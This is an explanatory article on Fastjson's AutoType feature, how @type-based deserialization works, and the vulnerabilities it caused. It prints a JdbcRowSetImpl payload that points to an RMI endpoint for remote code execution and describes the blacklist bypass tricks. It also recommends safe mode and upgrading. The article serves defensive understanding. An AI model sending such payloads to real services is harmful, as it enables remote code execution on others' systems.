Why Fastjson’s AutoType Is a Security Nightmare—and How to Fix It

Fastjson and the AutoType Feature

Fastjson is Alibaba’s open‑source JSON library used to convert Java beans to JSON strings and back. Starting with version 1.2.59, each release added enhancements to the AutoType feature, which records the concrete class name during serialization.

1.2.59 – strengthen AutoType security 1.2.60 – add AutoType blacklist 1.2.61 – add AutoType security blacklist 1.2.62 – add blacklist, improve date deserialization 1.2.66 – bug fixes and security hardening 1.2.67 – bug fixes and security hardening 1.2.68 – support GEOJSON, introduce safeMode configuration 1.2.69 – fix high‑risk AutoType bypass vulnerability 1.2.70 – improve compatibility

AutoType allows Fastjson to embed a @type field in the JSON so that the original class can be restored during deserialization.

Serialization Without AutoType

class Store {
    private String name;
    private Fruit fruit;
    public String getName() { return name; }
    public void setName(String name) { this.name = name; }
    public Fruit getFruit() { return fruit; }
    public void setFruit(Fruit fruit) { this.fruit = fruit; }
}
interface Fruit {}
class Apple implements Fruit {
    private BigDecimal price;
    // getters/setters omitted
}

Serializing a Store instance with JSON.toJSONString(store) produces: {"fruit":{"price":0.5},"name":"Hollis"} When deserialized, the fruit field becomes a proxy object, causing a ClassCastException if cast to Apple.

Enabling AutoType

Using SerializerFeature.WriteClassName adds the class name:

String jsonString = JSON.toJSONString(store, SerializerFeature.WriteClassName);

The resulting JSON contains:

{"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}

Now deserialization correctly restores an Apple instance.

Security Implications

Because Fastjson will instantiate the class specified by @type, an attacker can craft payloads such as:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

This triggers remote command execution in vulnerable versions (pre‑1.2.25). Subsequent releases introduced black‑ and whitelist checks, but attackers bypassed them by adding the characters L and ; (e.g., Lcom.sun.rowset.JdbcRowSetImpl;) which Fastjson strips before validation.

Further bypasses involved double prefixes ( LL and ;;) or array notation ( [Lcom.sun.rowset.JdbcRowSetImpl;), exploiting the order of blacklist checks in versions 1.2.41‑1.2.44.

Another attack leveraged the global class cache: by deserializing a java.lang.Class object with val":"com.sun.rowset.JdbcRowSetImpl", the class was cached and later loaded without AutoType enabled, allowing exploitation in versions 1.2.47‑1.2.48.

SafeMode Mitigation

From version 1.2.68, Fastjson introduced ParserConfig.getGlobalInstance().setSafeMode(true). In safe mode, the @type field is ignored and an exception is thrown if AutoType is used:

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple

Enabling safe mode effectively disables AutoType, preventing the aforementioned gadget‑based attacks.

Practical Recommendations

Upgrade to the latest Fastjson version (≥ 1.2.72) where all known AutoType vulnerabilities are fixed. If AutoType is not required, enable safe mode to block @type processing. Review code that relies on polymorphic deserialization and replace it with explicit type handling when possible.